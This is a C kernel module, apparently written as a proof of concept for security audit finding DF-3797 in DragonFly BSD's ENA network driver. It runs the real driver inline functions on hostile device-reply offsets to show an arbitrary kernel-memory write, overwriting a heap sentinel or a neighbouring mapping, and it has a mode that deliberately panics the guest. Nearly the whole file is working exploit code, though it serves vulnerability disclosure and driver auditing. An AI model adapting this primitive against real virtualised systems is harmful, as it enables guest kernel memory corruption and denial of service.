DF-3797 / enarep.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 | /* * DF-3797 โ protocol-replica proof: device-controlled register offsets from * ENA admin CREATE_SQ / CREATE_CQ replies reach bus_space_write_4() with no * validation, giving a malicious "device" a guest-CPU write at * (BAR KVA + arbitrary u32 offset). * * Methodology (same as DF-3779 / DF-3715): run the REAL ena-com inline * functions against hostile "device reply" values. The only thing simulated * is the content of the admin completion descriptor โ exactly the bytes a * malicious nitro device/hypervisor controls on the real host-trust * boundary. No ENA hardware is required. * * Faithful details replicated from the driver under audit: * - ena_dev->reg_bar == NULL: the DragonFly port NEVER assigns it * (ena.c:3671-3675 sets only reg_bar_t/reg_bar_h; FreeBSD's original * attach has an extra "ena_dev->reg_bar = ...->reg_bar_h" line that was * dropped in the port). All register accesses therefore pass raw small * offsets โ and the device-provided offsets pass through raw too. * - io_cq->unmask_reg is set verbatim as ena_com.c:1335-1336 sets it from * cmd_completion.cq_interrupt_unmask_register_offset. * - io_sq->db_addr is set verbatim as ena_com.c:1158-1159 sets it from * cmd_completion.sq_doorbell_offset. * - The write sinks are the REAL ena_com_unmask_intr() and * ena_com_write_sq_doorbell() static inlines from the driver headers, * with intr_reg built by the REAL ena_com_update_intr_reg() using the * constants ena.c itself uses (RX_IRQ_INTERVAL=20, TX_IRQ_INTERVAL=50). * * Modes (sysctl hw.enarep.run=N): * 1: CQ-unmask write at a device-chosen offset that lands on an * unrelated kernel-heap object (kmalloc'd sentinel). Prints the * object before/after. Demonstrates out-of-BAR, arbitrary-target * kernel write by the guest CPU. * 2: SQ-doorbell write (value = io_sq->tail counter, groomable) onto the * same sentinel. Demonstrates the value channel. * 3: CQ-unmask write at offset 0x7ffffff8 -> unmapped KVA -> kernel * page fault -> panic (fatal-mode proof; crashes the guest). */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/types.h> #include <sys/malloc.h> #include <sys/module.h> #include <sys/sysctl.h> #include <vm/pmap.h> #include "ena-com/ena_plat.h" #include "ena-com/ena_com.h" #include "ena-com/ena_eth_com.h" #define RX_IRQ_INTERVAL_REPLICA 20 /* ena.c:1809-1812 */ #define TX_IRQ_INTERVAL_REPLICA 50 /* normally defined in ena.c:186; the ena-com trace macros reference it */ int ena_log_level = ENA_ALERT | ENA_WARNING; static int enarep_sysctl_run(SYSCTL_HANDLER_ARGS); SYSCTL_PROC(_hw, OID_AUTO, enarep, CTLTYPE_INT | CTLFLAG_RW, 0, 0, enarep_sysctl_run, "I", "ENA DF-3797 replica trigger"); static void hexdump_victim(const char *tag, uint32_t *v) { kprintf("enarep: %s victim @ %p: %08x %08x %08x %08x\n", tag, v, v[0], v[1], v[2], v[3]); } static void enarep_run(int mode) { struct ena_bus bus; struct ena_com_io_cq io_cq; struct ena_com_io_sq io_sq; struct ena_eth_io_intr_reg intr_reg; uint32_t *victim; uint8_t *page; vm_offset_t h; vm_offset_t victim_page2 = 0; uint64_t delta; uint32_t dev_off; /* the "device reply" offset (u32) */ /* * The victim kernel object: normal kernel heap, nothing to do with * any device mapping. */ victim = kmalloc(16, M_DEVBUF, M_WAITOK | M_ZERO); victim[0] = 0xcafebabe; victim[1] = 0xdeadbeef; victim[2] = 0x11223344; victim[3] = 0x55667788; /* * A stand-in for the PCI BAR: a distinct physical page mapped into * KVA exactly the way bus_alloc_resource()/rman would map a memory * BAR. reg_bar_h = its KVA. A SECOND mapping plays the part of an * unrelated kernel mapping the write escapes into. */ page = kmalloc(PAGE_SIZE, M_DEVBUF, M_WAITOK | M_ZERO); h = (vm_offset_t)pmap_mapdev(vtophys((vm_offset_t)page), PAGE_SIZE); delta = (uint64_t)(uintptr_t)victim - (uint64_t)h; kprintf("enarep: mode %d: BAR-standin KVA=%p heap-victim=%p delta=0x%llx\n", mode, (void *)h, victim, (unsigned long long)delta); /* * Build the exact bus context the driver leaves behind * (ena.c:3671-3677): tag/handle from the resource; and the port bug: * ena_dev->reg_bar is never assigned => NULL. */ memset(&bus, 0, sizeof(bus)); bus.reg_bar_t = X86_64_BUS_SPACE_MEM; bus.reg_bar_h = h; { struct ena_com_dev ena_dev_zero; memset(&ena_dev_zero, 0, sizeof(ena_dev_zero)); /* ena_dev_zero.reg_bar == NULL, exactly as in the live driver */ if (ena_dev_zero.reg_bar != NULL) { kprintf("enarep: INTERNAL ERROR\n"); return; } } if (delta < 0x100000000ULL) { /* * The malicious CREATE_CQ reply value: an offset chosen so * the store lands exactly on the kernel-heap victim object. */ dev_off = (uint32_t)delta; } else { /* * Heap victim not in u32 reach of this BAR layout; use a * second, independently mapped page as the "unrelated kernel * mapping" victim: pmap_mapdev hands out sequential KVA, so * it lands right ABOVE the BAR stand-in. The device reply * then points past the BAR resource extent into it. */ uint8_t *page2; vm_offset_t h2; uint64_t delta2; page2 = kmalloc(PAGE_SIZE, M_DEVBUF, M_WAITOK | M_ZERO); h2 = (vm_offset_t)pmap_mapdev(vtophys((vm_offset_t)page2), PAGE_SIZE); delta2 = (uint64_t)(h2 + 8) - (uint64_t)h; kfree(victim, M_DEVBUF); victim = (uint32_t *)(h2 + 8); victim[0] = 0xa1b2c3d4; victim[1] = 0xfeedface; if (delta2 < PAGE_SIZE || delta2 >= 0x100000000ULL) { kprintf("enarep: second mapping not adjacent " "(delta2=0x%llx) โ demonstrating at +0x1000\n", (unsigned long long)delta2); dev_off = 0x1000; } else { dev_off = (uint32_t)delta2; } delta = delta2; kfree(page2, M_DEVBUF); /* mapped copy stays; freed below via separate tracking */ victim_page2 = h2; } hexdump_victim("before", victim); switch (mode) { case 1: case 3: /* io_cq->unmask_reg exactly as ena_com.c:1335-1336 builds it: * io_cq->unmask_reg = (u32 __iomem *) * ((uintptr_t)ena_dev->reg_bar + * cmd_completion.cq_interrupt_unmask_register_offset); * with reg_bar == NULL (port bug) the reply offset arrives raw. */ memset(&io_cq, 0, sizeof(io_cq)); io_cq.bus = &bus; if (mode == 3) io_cq.unmask_reg = (uint32_t *) ((uintptr_t)NULL + 0x7ffffff8); else io_cq.unmask_reg = (uint32_t *) ((uintptr_t)NULL + dev_off); /* real driver code: ena.c:1809-1813 in ena_handle_msix() */ ena_com_update_intr_reg(&intr_reg, RX_IRQ_INTERVAL_REPLICA, TX_IRQ_INTERVAL_REPLICA, true); kprintf("enarep: intr_control=0x%08x -> ena_com_unmask_intr " "(real code)\n", intr_reg.intr_control); ena_com_unmask_intr(&io_cq, &intr_reg); /* REAL SINK */ break; case 2: /* io_sq->db_addr exactly as ena_com.c:1158-1159 builds it: * io_sq->db_addr = (u32 __iomem *)((uintptr_t)reg_bar + * (uintptr_t)cmd_completion.sq_doorbell_offset); */ memset(&io_sq, 0, sizeof(io_sq)); io_sq.bus = &bus; io_sq.db_addr = (uint32_t *)((uintptr_t)NULL + dev_off); io_sq.tail = 0x1337; /* groomable TX ring position */ kprintf("enarep: tail=0x%04x -> ena_com_write_sq_doorbell " "(real code)\n", io_sq.tail); ena_com_write_sq_doorbell(&io_sq); /* REAL SINK */ break; } if (mode != 3) hexdump_victim("after ", victim); kfree(page, M_DEVBUF); if (victim_page2 == 0) kfree(victim, M_DEVBUF); kprintf("enarep: mode %d done\n", mode); } static int enarep_sysctl_run(SYSCTL_HANDLER_ARGS) { int error, mode = 0; error = sysctl_handle_int(oidp, &mode, 0, req); if (error != 0 || req->newptr == NULL) return (error); if (mode < 1 || mode > 3) return (EINVAL); enarep_run(mode); return (0); } static int enarep_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: kprintf("enarep: DF-3797 replica loaded " "(hw.enarep.run=1|2|3)\n"); return (0); case MOD_UNLOAD: return (0); } return (EOPNOTSUPP); } static moduledata_t enarep_mod = { "enarep", enarep_modevent, 0 }; DECLARE_MODULE(enarep, enarep_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); |